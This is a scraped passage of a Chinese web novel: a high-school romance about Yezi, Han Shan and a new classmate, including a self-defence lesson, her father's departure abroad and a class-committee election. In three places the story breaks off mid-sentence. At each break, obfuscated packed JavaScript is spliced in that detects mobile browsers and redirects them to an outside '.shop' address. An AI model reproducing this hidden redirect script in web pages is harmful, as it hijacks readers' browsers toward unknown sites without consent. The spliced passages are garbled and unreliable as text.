很快她收到韩山的回复,是几张向日葵的照片。 她好气,这是不让她去的意思吗! 她偏要去。 一个小时后,她到达韩山的仓库外。 今天天气晴朗,阳光明媚,他把向日葵搬到外面了,正蹲着给花儿松土。 为了给她拍照,他把花儿从恒温箱里拿了出来。 毕竟带着恒温箱不太好看,还是不要让她看见了。 花儿被他照顾得很好,浇水、松土、施肥、除虫、晒太阳……禁得住随时检查,然而他还是想把他认真的一面展现给她看。 他知道她要来,估摸时间差不多了,搬出来做样子,看啊,他对你送他的东西,是这样用心啊。 叶子好久没见他,看见他很高兴,欢喜地跑过去拍他肩膀,“哈喽!” 她故意恶作剧,拍的是他的左肩,人跳到他右侧,这样人会下意识向左回头,她的恶作剧就成功了。 然而韩山却是向右回头,轻笑说:“你怎么来了?” 叶子不可思议说:“你怎么不往左看啊!” 韩山迟疑了一下,因为她人在右边啊。 他反应快,这种恶作剧闹不到他。 他意识到少女的心思,失笑说:“下回我往左看。” 叶子这才满意,可造之材嘛,成全别人的恶作剧也是一种优良品质! 她笑意盈盈蹲在他旁边,打量向日葵,“养得还不错嘛。” 地上投下他们的影子,一大一小,紧挨着,像靠在一起。 韩山笑着,那是自然。 娇嫩的花儿,叶片碧绿,花瓣金灿灿,在寒风中绽放。 冬天万物寂寥,唯独它富有昂扬的生机。 叶子渐渐发现不对,古怪说道:“向日葵不是夏天开花吗,现在应该是休眠期呀。” 这棵向日葵还是花店老板专门从种植基地调过来的。 韩山答得很快:“所以冬天盛开的向日葵,不更是一道独特的风景?” 叶子笑了,确实很独特呀。 阳光暖洋洋的,叶子情不自禁闭上眼,被晒得快要睡着了。 韩山觉得差不多了,再不搬进去,把花儿冻坏了就不好了,他搬花盆起身,“走吧,进去说话。” 仓库里暖和很多,他把花盆放在窗台阳光下。 叶子跟着他进来,打了个哈欠。 韩山翘腿坐在转椅上,看她犯困,眸光柔软。 她像只小猫,仿佛翻个身就能睡过去。 叶子到了暖和的地方更困了,觉得不行,她得找点事干精神精神。她想了想,揉揉眼睛说:“韩山,你教我跆拳道吧。” 韩山意外:“学这干嘛?” 叶子:“防身啊。” 她要是也能像他这么厉害,肯定就不会有人欺负她了。 韩山不以为然说:“你听没听过一个说法,跆拳道是健身操,防不了身。” 叶子奇怪地蹙眉,“可是你……” 韩山懒洋洋说:“打架靠天赋。” 叶子:…… 她央求:“那你教我点防身术嘛。” 韩山更不以为然了,“与其学这个,不如多练练跑步,只要跑得快,歹徒就伤害不到你。” 叶子:…… 她想了想,还真有点道理,之前好几次遇到危险,她都是靠跑。 “可是万一跑不掉呢?” 就像她跟秦夏那次。 韩山这次答得很认真:“如果跑不掉,最优解是地面缠斗,也就是柔术,配合综合格斗,正常来讲,一个学习柔术五年以上且一直保持相关体能训练的女性,跨二三十千克的重量收拾一个没怎么练过的男性是没有任何问题的。但前提是……”他上下看叶子一眼,“你学得来吗?” 叶子第三次无语住。 他说的好专业,她一时间甚至不能马上理解。 但她听到“五年”和“体能训练”的词汇便望而却步了,沮丧说:“那怎么办?那我遇到危险跑不了就只能坐以待毙吗?” 韩山笑了笑说:“那就别离开我的视线。” 我会保护你。 叶子脸庞一下子滚烫,低下头羞赧说:“可、可这怎么做得到嘛……” 他有他的生活,她也有她的生活,怎么可能、怎么可能一直待在对方身边。 韩山自然也明白,所以他才会想做一个那样的东西当做生日礼物送给她。 女性在这方面的确是弱势,他没法保证时刻在她身边,但那个东西可以。 韩山:“开玩笑的,放心吧,你会平平安安,根本用不上防身术。以前那种事情,再也不会发生。” 他语气平淡轻松,反倒显得运筹帷幄。 叶子不知道他为什么这么肯定,但也希望他说的是真的,便没有反驳。 她说:“那你教我点小的防身术吧,比如以后再有人薅我头发,我该怎么挣脱?” 韩山爽快道:“好啊,你来抓我头发,我示范给你看。” 叶子惊了,居然、居然这样教吗…… 抓他头发,她怎么敢的…… 她怂道:“真、真抓啊……” 韩山向她招手,“嗯,过来。” 叶子咽了口唾沫,小心翼翼走到他面前。 韩山低头,“抓吧。” 韩山坐在转椅上,比她矮一点,这样的高度,她可以轻松抓到他的头发。 叶子还是有点怵,“那你不会真打我吧?” 韩山:“想什么呢。抓。” 叶子抿了抿唇,缓缓伸出手。 他身手这样好,如果不是为了教她,恐怕一辈子不会被人抓头发吧…… 叶子指尖轻轻穿过他银色的发丝,他的头发比想象中柔软,贴近头皮的部位带着他的体温,温热的。 她抓住了他的头发,小声说:“然后呢?” “看好了。” 韩山单手扣住她手腕,一拳击向她的腋下肋骨。 他没用力气,只只轻轻碰了他一下,但叶子可以想象,如果用了全力,这一下肯定能让对方被迫松手。 原来就这么简单呀。 她的手腕传来他掌心的温度,她心脏怦怦跳。 韩山边说边示范:“你拳头使不出力就用肘击。或是踹腿前骨。” 韩山:“以你的力气,对付女生没问题,男生就直接——” 他握拳,伸向她两腿之间,没有碰到,隔着一段距离,只是意思了一下。 “记住了吗?”韩山抬眸。 叶子目光下意识往他身上同样的部位看去,他的示范很礼貌,她自己没什么感觉,可是代入到韩山身上,便有点脸红,连忙松开他的头发后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14091362|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她红着脸点了点头。 韩山:”人少可以这样,如果人多,你对付不了,就不要动手激怒对方。想办法报警,或者给我打电话。” 叶子小鸡啄米般点头,“嗯,我知道了。” 韩山:“要不要我抓你,你试试?” 叶子犹豫了一下,想到他刚刚说的对付男生的办法,脸更红了,小声说:“还是不用了……” 万一真打到……有个什么三长两短……她不会还要对他负责吧? 韩山没有她心理活动丰富,根本没想到这一层,只是怕她学不明白。闻言轻声说:“也罢,反正你不用到这些。” 叶子现在困劲彻底褪去,肚子又开始咕噜噜叫,她早上没吃饭,马上就中午了。 她连忙说:“到点了,我要回家吃饭了,感谢你教我,我先走了,拜拜!” 她逃似得跑出了仓库。 韩山看着仓库的门,不知道怎么就把她吓跑了,有些奇怪,又有些淡淡的失落。 * 叶子爸爸最终还是没能在家过完元宵节。 去年他说的出国进修的事,厂子考虑到他这么多年来工作勤勤恳恳,为人忠厚会来事,同意他去了。 为期两年,如果能取得国外领导的认可,他就可以申请定居,顺便把李丽然和叶子接过去,以后他们的生活会越来越好。 叶子和李丽然都支持他去,能不能留下不重要,重要的是不能错过这个机会。 叶进财担心李丽然一个人照看叶子会很辛苦,叶子说:“放心吧,我不会让妈妈操心的,妈妈照顾好自己就行了。” 叶进财为自己有这样一个懂事的乖女儿而欣慰。 叶进财走的那天,叶子和李丽然一起去机场送他。 他要赴的是澳大利亚,航程八个小时,两个小时的时差。 叶进财一一与妻子和女儿拥抱告别,“电话联系。” 李丽然忍不住落泪,叶进财为她擦掉眼泪,吻了吻她的脸颊,给她们挥手:“你们娘俩照顾好彼此。” 叶进财的行李办理了托运,男人在妻女的注视下进入登机口,没再回头。 李丽然捂脸痛哭,叶子抱住妈妈,不断安慰她。 男人的飞机启航,李丽然不忍心看,叶子隔着玻璃对飞机挥手。 以后就是他们娘俩相依为命了。 几天后元宵节,叶子奶奶提前打来电话,叫她们娘俩过去吃饭。 叶进财出国也给叶子爷爷奶奶打过招呼,老两口知道李丽然一个人带孩子不容易,说会保重身体,不给娘俩添麻烦。 李丽然一个人不愿意往县城跑,便拒绝了:“不好意思啊妈,我自己带着孩子就不过去了,我们在家简单吃点。” 老人没有生气,只是有些遗憾,温和笑着说:“行,那替我问亲家好!” “好嘞妈,他们都好着呢!” 元宵节当天,李丽然给叶子煮了汤圆,说起来李勇军开店的事。 叶子喜闻乐见:“还真开起来了呀?能开几天?” 李丽然:“谁知道呢,搞得还挺像那么回事。” 叶子:“卖的什么呀?” 李丽然:“一些中老年用的保健品,还有什么驼奶粉。” 叶子地理课上学过人口老龄化的问题,随着经济发展,以后这个问题会越来越严重,老年人市场有很大发展前景。 面向老年人的店听起来似乎很有搞头,但叶子却莫名不安,“他那种人,能老老实实做生意吗?” 李丽然:“目前看起来还没什么端倪,没事,他若不正干,自然有工商局管他。” 45. 新学期 元宵过完,寒假也就告一段落了。 新的分班表学校发在了官网上,开学前一天,叶子登录网站查看。 毫无悬念的,她还是在一班,不过从C1班跑到了A1班,A部B部是理科,C部变成了文科班,选文的比选理的少很多。 她和秦夏还在一个班,班里还有几个熟悉的名字,都是叶子上个班里的同学,叶子专门看了下,没有董婉凝。 董婉凝的名字出现在下面A2班,似乎有意避开她。 不论如何,一切都结束了,不是吗? 叶子滑到中间,B部一共16个班,她在最后一个班B16看到韩山的名字,还看到了侯睿的名字。 他们班全是男生,一个女生都没有。 这里面应该还有韩山其他兄弟,不过她不认识,她只知道猴子的大名。 他和他的兄弟们又到一个班了。 叶子郁闷叹气,这下他肯定又不好好学习了。 第二天正式开学,叶子返校报道,发现自己出名了。 因为她是全市联考的第一,学校把她的照片和成绩,还有取得的名次投在了高一教学楼的电子屏上,学生们开学进教学楼,想不看到都难。 叶子之前就是年级第一,不少人知道她,还有一些只知道这个名字,但跟人对不上号的,这下也对上了。 叶子一路上遇到的人都会多看她两眼,悄悄议论:“那不是全市第一吗?” “哇塞,太厉害了!” 这是叶子最风光的一次。 叶子属于上镜的,拍照没丑过,电子屏那种死亡分辨率也硬是扛住了,屏幕上,少女小脸精致瘦削,白白净净,一双杏眼亮晶晶的,留着最普通的学生头,却有一种最天然纯净的美。校服在她身上,也多了种清纯味道。 路过的男生也会感叹两句:“这妹子挺好看啊。” 叶子的新班级就在一楼第一个,有几个女生围在他们班窗外兴奋地手舞足蹈。 “好帅啊……” “简直就是我梦中的白马王子!” “出过国就是不一样,好有气质啊啊啊……” “听说他是年级主任的儿子!太优秀了……” 叶子古怪地蹙了下眉头,她们是在说谁呀? 他们班来了什么名人吗? 班里也闹哄哄的,叶子从后门进教室,黑板上写着几个大字:按座位表入座。 黑板边上贴着一张纸,估计就是座位表了,叶子穿过教室去看。 新班级的同学们看到她,立刻将她围了起来,“哇,你就是全市第一呀!” “你是怎么学的呀,能不能传授我点技巧?” “以后我有不会的题可以来问你吗?我们一起学习好不好?” “你长得好乖啊!是谁说学习好的人长得都丑的!” 他们叽叽喳喳热情地跟叶子搭话,叶子尴尬地不知所措,多亏了秦夏把她从人堆里拉了出来,“你们行了!别吓到人家了。” 秦夏欢喜抱住叶子,“好久不见啊!好幸运又能一个班!” 叶子也很开心,能跟熟悉的人一个班是她一直以来的夙愿。 韩山没能考进来,可秦夏却在。 不管怎么说,命运对她还是仁慈的。 叶子与秦夏说了几句话,秦夏陪她一起去看座位表,“据说这是秃驴亲自安排的座位呢!”她给叶子指了指自己的名字,“我坐这!” 叶子一眼就看到自己的名字在秦夏斜前方,第三排正中间的位置,教室里最好的视野。 秦夏滔滔不绝地说:“之前咱们都是单人单桌,这回秃驴不知道怎么改了主意,又让两人一桌了,不过还好我同桌是个温柔的妹子!要是个邋里邋遢的男生我会气死!” 叶子下意识看向自己名字旁边,是一个很有韵味的名字: 柯以珩 好像是个男生。 叶子回头看了眼名字对应的位置,他已经到了。 秦夏:“你同桌还挺帅的呢!今早有不少女生一直在外面看他。咱们这个班真是厉害了,要颜值有成绩,要成绩有颜值。” 叶子恍然大悟,原来那些女生说的就是他啊! 所以他是秃驴的儿子? 都怪“秃驴”这个外号太深入人心,叶子都快忘了教导主任原本姓“柯”了。 秦夏:“听说他上个学期作为交换生出国留学了,成绩也很不错呢!以后有人跟你竞争第一宝座了。” 叶子笑了笑,并没放在心上。 她才不信有人争得过她。 叶子和秦夏一起向座位走去,叶子坐下后给这个帅气新同桌打招呼,“你好,我叫叶子,以后多多关照。”她笑容甜美地伸出手,想跟他握手。 窗外的女生们看到男神身边坐了个可爱明媚的少女,崩溃地咆哮哀嚎。 柯以珩校服外面套了件纯白运动外套,拉链拉到最上面,立领遮住脖子。一头乌发打理过,酷酷的,抱臂靠着椅背,两条长腿大喇喇敞着。 他闭目养神,浑身散发着生人勿进的气场,像冰山上的神明雕像。叶子给他示好,他睁眼轻飘飘扫了她一眼,“你就是那个全市第一?”他嗓音清冽,带着股与生俱来的傲气。 秦夏在叶子斜后方,好奇地端详他俩。 叶子热脸贴了冷屁股,略有尴尬地收回手,点头说是。 她没有任何炫耀的意思,只是承认这个客观事实。 柯以珩冷呵了一声,闭上眼睛不再说话。 叶子微微汗颜,这人好像不太好相处…… 但是她马上又想,韩山那么不好相处的人她都能搞定,这个估计也没问题。 他总不能比韩山还难搞吧? 很快上课铃响了,叶子的新班主任进来了。 他西装革履,头发梳得一丝不苟,脸上带着亲切和蔼的微笑。 他一进门,班级立刻安静下来,同学们都回了座位。 他把笔记本放在讲台上,正了正领带,面带微笑,字正腔圆地用英语自我介绍道:“Helloboysandgirls,I’myournewteacher。MynameisLiuShuai,youcancallmeMr.Liu。” 他说话毫无架子,显得没有什么威严。看起来三十出头的年纪,一笑眼角鱼尾纹散开,有种超脱年龄的亲切感。 叶子心想这肯定是个英语老师,在这全英式交流呢。 班里立刻就有爱接话茬的男生学着他的语气说:“CanyouspeakChinese?” 同学们哄堂大笑。 刘帅也笑了,故作潇洒地撩了下额发,说:“Okey,很荣幸被学校安排当你们的班主任,我是教化学的,以后也是你们的化学老师。So……” 班里顿时吁了起来。 一个化学老师拽什么英语呢? 叶子觉得这个老师好有趣,忍不住笑。旁边白衣服的高冷同桌也低低哼笑一声。 刘帅并不尴尬,脸上笑意更浓,说:“So,废话不多说,我们班会第一项,请同学们上台进行自我介绍。” 教室发出不情愿的哀嚎,都高中了,大家都不喜欢自我介绍。 刘帅转身在黑板上写下板书:姓名,爱好or特长,梦想。 他的字很有特色,细长瘦金体,写得很用力,粉笔断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162457|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两次。 他用手托着这行字,激情澎湃说:“介绍要包含这几项,多多益善!也欢迎同学们进行才艺展示!Well,我们从门口开始,一排排来,有请第一位同学上台!”他带头鼓掌。 教室响起寥寥无精打采的掌声。 坐在门口的女同学无妄之灾,不情不愿站起来。 “欢迎!”刘帅却一点都不介意冷场,退到讲台边上,站姿笔挺地鼓掌。 叶子觉得他身上带着股形容不出来的精神气,充满着对这个职业的热忱。 女同学硬着头皮走向讲台。 与此同时,B16没老师来,教室乱作一团。 纸团和纸飞机在教室上空乱窜,聊天的,打牌的,扎堆打游戏的,嘴里叼根烟,乌烟瘴气。 少数睡觉的,睡眠质量也是真不错。 韩山没来,班里猴子是老大,真应了那句山中无老虎猴子称霸王。 学校对B16实行放养制,前面B15B14是体育生班和特长生班,全年级最混最差的学生聚集在一面楼。 在这种班里,意味着放弃与自我放弃。 再往前的B13,是体育生和特长生里面成绩好点的。但凡有点希望,都不会在这种班里。 猴子甩出一排顺子,“赢了!” 胖哥洗牌,“再来再来!” 猴子抽了口烟,顺便看了眼黑板上面的时钟,“哟,都这个点了,咋没老师来啊?” 东子说:“我要是老师,知道带这种班,我也不来。” 四个男生爆笑。 A1班的自我介绍很快轮到叶子,同学们的掌声一下子就响亮了起来。 叶子站上讲台,全班同学都抬头看着她。 她那高冷帅气的同桌也懒懒抬眸。 叶子从小到大作为优秀学生代表经常上台发言,并不怯场,看着台下一张张青春洋溢的面孔,嗓音清甜说:“大家好,我叫叶子。” 同学们为全市第一欢呼鼓掌,有男生故意拖长语调接话:“我们都知道了!” 叶子低头笑了笑,继续说道:“我的爱好是听歌,最喜欢的歌手是Jay,梦想是——” 有男生喊:“唱两句呗!” 全班顿时躁动起来,大家纷纷起哄:“唱两句唱两句!”他们都想听全市第一唱歌。 叶子脸皮薄,见状微微脸红,这、这也太热情了吧…… 她下意识看向刘帅,刘帅做了个“请”的手势,欢迎她唱。 叶子不想辜负大家的热情,“那、那我唱几句《星晴》吧。” 刘帅立刻鼓掌:“欢迎!” 同学们都跟着鼓掌,掌声雷动。柯以珩没有鼓掌,抱着臂饶有兴致看着她。 叶子清清嗓子。 掌声褪去,教室安静下来。 叶子清唱:“乘着风游荡在蓝天边,一片云掉落在我面前,捏成你的形状,随风跟着我,一口一口吃掉忧愁~” 一些记忆里的画面随着歌声不经意浮现在脑海。 她坐在少年的机车后座,蓝蓝的天空白云朵朵。 少女的歌声温柔动听,同学们被不自觉吸引,神色专注。 刘帅像个指挥家,随节奏摆动双手。 叶子并不知道自己唱歌有多好听,闭着眼睛感受着歌词,想象着那时的画面: “载着你仿佛载着阳光,不管到哪里都是晴天,蝴蝶自在飞,花也飘满天,一朵一朵因你而香~手牵手一步两步三步四步望着天,看星星一颗两颗三颗四颗连成线,背对背默默许下心愿,看远方的星如果听得见,它一定实现~” 韩山,希望你在新的班级里好好学习呀,你听见了吗~ 46. 竞选 一曲唱罢,全班投入得忘了鼓掌,还是刘帅先反应过来,大力鼓掌,感动道:“叶子同学真是天籁之音呀!如果这时候能有人在旁边弹吉他伴奏,那会是一场多么动人的听觉盛宴啊!” 同学们反应过来,掌声雷动。 叶子尴尬吐了下舌头,有那么夸张吗…… 这老师还挺会提供情绪价值。 刘帅:“那叶子同学,你的梦想是——” 叶子:“我想当一名老师。” 刘帅兴奋道:“哎呀!听到这个答案,为师真是荣幸之至啊!忆往昔峥嵘岁月,为师风华正茂,书生意气,挥斥方遒——” 同学们受不了地“吁”。 刘帅:“……咳咳,数风流人物,还看今朝,非常看好叶子同学的梦想。Well,有请下一位同学。” 叶子快速回了座位,下一个便是她同桌柯以珩。 班里女主躁动起来。 柯以珩个子很高,走上台,懒洋洋道:“我叫柯以珩,特长篮球,梦想进国家队。” 叶子意外,他也很会打篮球吗? 柯以珩说完就要下台,刘帅道:“Allright,五月份学校正好有个篮球比赛,不知柯以珩同学是否愿意代表咱们部去竞争今年的篮球冠军?” 班里女生看着柯以珩犯花痴。 柯以珩翘了下唇角,“自然。” 这种比赛对他来说小意思。 女生们激动极了,悄悄议论:“我听说他上学期在国外留学就是为了练篮球!教练都是NBA的!” “这下咱们部肯定稳了!” 刘帅也道:“Nice,希望柯以珩同学到时能给咱们A部狠狠争光!” 柯以珩下了台,之后是秦夏,她上台说:“大家好我叫秦夏,爱好是看书,梦想是考一个好大学。” 她飞快地说完就下来了,她实在不喜欢这种环节。 自我介绍结束后,刘帅组织班委竞选,叶子从没当过班委,想锻炼一下。 她想了想,班长、学委、纪委这些她凭着全市第一的光环,肯定很容易就能成功,既然是锻炼,就要挑战有难度的。 于是在刘帅说到体委的时候,叶子毫不犹豫举起了手。 柯以珩也举手了,叶子扭头看了下,班里举手的全是男生。 柯以珩看到她举手,冷冷嗤了声,带着些不屑意味地说:“一个女生当什么体委。” 叶子下意识道:“谁说女生不能当体委了?” 柯以珩不以为意:“那就看你能不能当得上。” 刘帅记下他们的名字:“Well,这些同学准备一下,明天正式开始竞选。” 课间,叶子与秦夏一起去水房接水,秦夏难以理解地问她:“你说你竞选什么不好,干嘛非要竞选体委!多累呀!” 秦夏以前当过课代表,觉得太过麻烦,后来便不再参加任何班务。 叶子语气轻松:“走出舒适区呀,而且可以锻炼自己,挺好的。” 秦夏:“那你可要好好准备哦!你放心,我的那一票一定投给你!” 叶子:“我绝对让你心服口服地投给我!” 两个少女一起笑了。 叶子接完水回到座位,发现同桌桌上多了好几封粉红色的信封,上面写着“柯以珩收”,不禁啧了啧嘴。 这长得帅就是不一样啊。 柯以珩这会儿不在教室,秦夏也看见了信封,觉得新鲜,说道:“小迷妹不少啊!” 上课铃响,柯以珩双手插在裤兜,慢慢悠悠从教室前门进来,步调懒散从容。 叶子有一瞬恍惚,他身上的某些气质跟韩山好像。 如果韩山不染发,不当混混,会不会也是这样? 柯以珩坐在座位,看到桌上信封,蹙了下眉头,随手塞进桌膛。 * 这天放学,叶子在家写完作业,开始准备体委的竞选稿。 删删改改好几遍,总觉得不尽人意,叶子苦恼地用笔头戳脑袋,开始怀疑是不是自己真的不合适。 已经十点半了,她还有学习计划没完成,今晚又要熬大夜了。 她决定先缓缓脑子,拿出手机,给韩山发了条短信: 睡了吗? 几秒后她收到回信: 没有 叶子笑了,拨通他的电话。 韩山今晚陪翁方海和他圈里的一些朋友打台球谈事情,他放下台球杆,到休息区接电话。 熟悉的声音传来:“喂?” 叶子也说不清为什么,听到他的声音,总会觉得安心。 叶子问他:“韩山,你之前的体委是怎么当上的呀?” “怎么,你要当体委?” 叶子没想到一下子就被他看破了,难为情说:“嗯,你是不是也觉得我特自不量力,女孩子家家,居然也想竞选什么体委……” 电话那头轻笑一声,说:“每届奥运会都有不少女运动员参赛为国争光,更别说体委了,没有门槛,人人都能当。” 叶子像是被这话安慰了一般,顿时有了信心,说:“那你能传授我点经验吗?明天就要竞选了,我的稿子还没写好……” “我没有经验,我是老师钦点的,没参加竞选。” 叶子失望地啊了一声,不知道再去问谁了。 韩山:“别慌,想想你的优势。” 叶子郁闷说:“跟我一起竞选的都是男生,我觉得我根本没有优势……” “那你的优势就是肯学习、肯努力。” 叶子眼前一亮,“是哎!” 她可以化“劣势”为优势,争取同学们的投票。 可是……她又想到班里好多女生对柯以珩犯花痴。 让她们放弃投他,应该挺难的吧? 叶子:“可是有一个竞选者很讨女生喜欢,万一我比不过他怎么办?” 电话那头的声音始终沉稳,让人觉得踏实:“真诚。” 只要你够真诚,就可以打动人心。 叶子:“那如果最后还是竞选失败了,会不会很丢人呀?” 韩山:“尽人事,听天命。尽力就好。” 叶子心头的压力一下子纾解了,对竞选稿有了头绪,开心说:“谢谢你呀韩山,你真是帮了我大忙!不管我有没有竞选上,我都请你吃好吃的!” 韩山:“不用了。” 他口腹之欲并不强,食物对他毫无吸引力。 何况他也没说什么特别的,谈不上感谢。 叶子心情大好,顺口问道:“那你今天来上课了吗?你还是体委吗?如果我当选上了,咱们就是同事,亲上加亲!” 韩山默了默,不忍心骗她,艰难说:“没有。” 叶子皱眉,有些气闷,“为什么呀?” 韩山没法回答她。 他是个对未来不抱希望的人,他早就烂掉了,上学对他来说又有什么用? 叶子:“我知道你的新班级不太好,但你自己不能放弃呀,韩山。” 韩山心中泛起苦涩,不放弃还能怎样呢? 好好学习?缩短与她的距离? 还是跟她一个班?每天见面,朝夕相处? 他每向她靠近一步,她就离韩家更近一步。 不如就保持这样的距离,等哪天她有了喜欢的人,也可以毫无留恋地转身离开。 他骨子里流的韩家的血,韩家是他逃不开无形的牢。 韩山哄道:“好啦,我明白,不用担心我。时间不早了,早点休息,挂了。” 叶子还不想挂,然而她还没来得及叫住他,他便嘟地一声切断了电话。 叶子叹息一声,毫无办法。 她还有事要忙,不能围着他转,只好把手机先放一边。 * 第二天自习课上,班委的竞选开始了。 叶子心情格外平静,秦夏课间时问她:“下节课就竞选了,你怎么看着一点都不紧张?” 叶子说:“紧张有什么用,尽力就好,其他的也不是我能左右的。” 秦夏觉得她心态真不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192058|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竞选很快轮到体委,刘帅念出六个竞选者的名字,有两个主动放弃了,只剩下柯以珩、叶子,还有另外两个男生站在讲台上。 柯以珩先发言,他没拿竞选稿,也没怎么准备,站在讲桌后,很随便地说道:“体委,顾名思义,就是要体育好的,我再合适不过。而且,我从小学就是体委,经验丰富,还到国外学习过一段时间,对体能训练了如指掌。不知道其他几位竞选者,是否有同样的实力呢?”他轻飘飘看向叶子和另外两个男生。 有女生花痴地说:“好牛啊,这就是天之骄子吗……” 叶子深呼吸,告诉自己别怕,真诚,真诚。 柯以珩胜券在握地勾唇,“我的发言结束。”他转身退到一边。 下一个就是叶子,叶子拿着竞选稿,来到讲桌后。 不过她没打算看竞选稿,更不打算照本宣科地念,她把竞选稿放在讲桌上,吸了口气,说:“老师同学们,大家好。我知道我站在这里你们可能很惊讶,会想,一个女生竞选什么体委?的确,我没有当过体委,体育也不是我最擅长的,但我觉得,班委存在的意义,是为了服务同学,为了更好地建设班集体,只要有这么一颗心,每个人都可以竞选班委。而我之所以选择体委,正是为了挑战自己的不擅长。” 班里静悄悄一片,同学们都目不转睛看着她。 刘帅觉得她说得很好,认同地点头。 叶子:“在自己擅长的领域把事情做好并不难,难的是挑战自己不擅长的领域。我今天敢站在这里,就是有底气告诉大家,我可以,我能做好,哪怕我不擅长,我愿意为了大家、为了班集体,去努力,去学习,去做到最好。我有这样的决心和魄力。谁说女生就不能当体委?女生一样可以把体委当好,甚至更好。” 柯以珩不屑地嗤了声,她这话好像故意说给他听的。 叶子渐入佳境,彻底放松下来:“大家都知道我学习好,我也想让大家看到我的另一面——学习以外的事情,我依然可以做得很好。希望大家能给我这个机会。”她手放在嘴边,做出说悄悄话的模样:“姐妹们,如果我真的可以当选体委,以后请假就包在我身上!”她调皮地挤了下眼睛。 班里女生都笑了,秦夏觉得叶子说得棒极了,激动地鼓掌。 叶子鞠躬,“我的发言完毕。谢谢大家!” 大家都跟着秦夏鼓掌,连一同竞选的那两个男生也忍不住鼓掌,柯以珩听着满教室掌声,心中不快。 他发言的时候都没这么多掌声,他的风头竟然被一个女生抢了。 更让他烦的是,他竟然潜意识里开始担心竞选结果。 他不喜欢这种“不安全”的感觉。 叶子已经做到了尽力,无论能不能选上都不觉得遗憾,一身轻松地退到一边。 柯以珩扭头看着旁边才到他肩膀的少女,意识到自己轻敌了。 她远远比他想象的有实力。 天气转暖,教室的窗户开着,午后的微风轻轻掀动她略微宽大的白色校服,阳光在少女的发丝和眼睫上跳跃出柔柔的光。 刘帅伸手示意下一位,然而柯以珩的目光,却怎么也无法从她身上挪开。 四位同学的发言都结束了,刘帅组织投票,最后统计票数,叶子以两票优势,成功当选了体委。 刘帅鼓掌:“恭喜。” 实至名归,班上同学无论投她的没投她的都为她鼓掌。柯以珩也懒懒拍了两下。 叶子被掌声环绕,开心极了。 下课后,柯以珩对叶子说:“恭喜你啊,没想到你还挺厉害的。这就是全市第一的实力吗?” 叶子笑笑,大方说:“谢谢!挺不好意思的,刚刚竞选时说了针对你的话,我第一次当体委,肯定有很多没经验的地方,以后还请你多多指教。” 柯以珩轻笑,她那些话果然是故意的。 不过他并不在意,他淡淡说:“竞选嘛,我不也说了针对你的话吗。不用放在心上。” 他只可惜,当了九年体委,竟然栽在了这么一个小姑娘身上。 47. 冤家 柯以珩错失体委职务,被兄弟们调侃:“珩哥,你堂堂篮球高手,体委竞选居然输给一个女生!” 柯以珩故作无所谓道:“嗐,输就输了。” “珩哥看得挺开啊。” “那不然?一个女生而已,说不定就是为了吸引我的注意,才故意跟我竞争体委呢。” “哎,别说,还真有道理!那些女生追起男生来五花八门的!而且咱珩哥是谁,A部’部草’啊!这颜值,哪个女生不喜欢?” 柯以珩得意地勾着唇角。 “那珩哥,她这招算成功吗?” 柯以珩啧了声,摸摸下巴,傲娇说道:“一点点吧。” 天气一天比一天暖,柳条抽枝发芽,万条垂下绿丝绦。 叶子体委当得很认真,跑操时点数整队,喊口号,体育课拿器材,协助老师组织活动,记录体测成绩。 这么干下来,她发现韩山说得没错,体委没什么门槛,更多的是管理和服务,不擅长体育也完全可以胜任。 韩山依旧没来学校,可做着他以前可能做过的事,叶子觉得跟他的距离也不是很远。 三月份,学校停了跑操,改成做健身操。 学校让每个班体委去学,体育课教大家,叶子一样完成得很漂亮。大课间正式开始做的时候,她站在队伍前面领头做,动作标准好看。 她在年级本来就出名,一来二去大家都发现她是体委,更会高看她两眼。 全市第一竟然是体委,这神奇的反差。 猴子、胖哥,以及韩山的一众兄弟都发现了,猴子转头给韩山打电话说嫂子可以啊,当上体委了! 韩山就知道她可以,弯了弯唇。 叶子在班里的人缘渐渐变好,同学们有不会的题都会来问她,柯以珩更是借着同桌之便,问了她一题又一题,成为问她题最多的。 然而他醉翁之意不在酒,每次她讲题,他都会悄悄看她侧脸,心想:能跟我讲题,半夜做梦都能笑出声吧!是不是狠狠心动了呢,女同学? 叶子的生活一天天变得充实多彩,叶子有时候会有种不真实感,这些是上学期的自己想都不敢想的。 董婉凝头发剪短了些,扎成一个低马尾,穿着校服,越来越像好学生了。叶子经常能在隔壁班看到她。 叶子至今不知道她到底经历了什么,为什么会有这么大的转变,然而看到她在变好,她很欣慰。 叶子偶尔也能碰到宁小萌、沈娇娇、孟燃她们,她们都会躲着她走。 叶子无心计较其中的原因,反正一切都过去了,她既已往前走,就没有回头的必要。 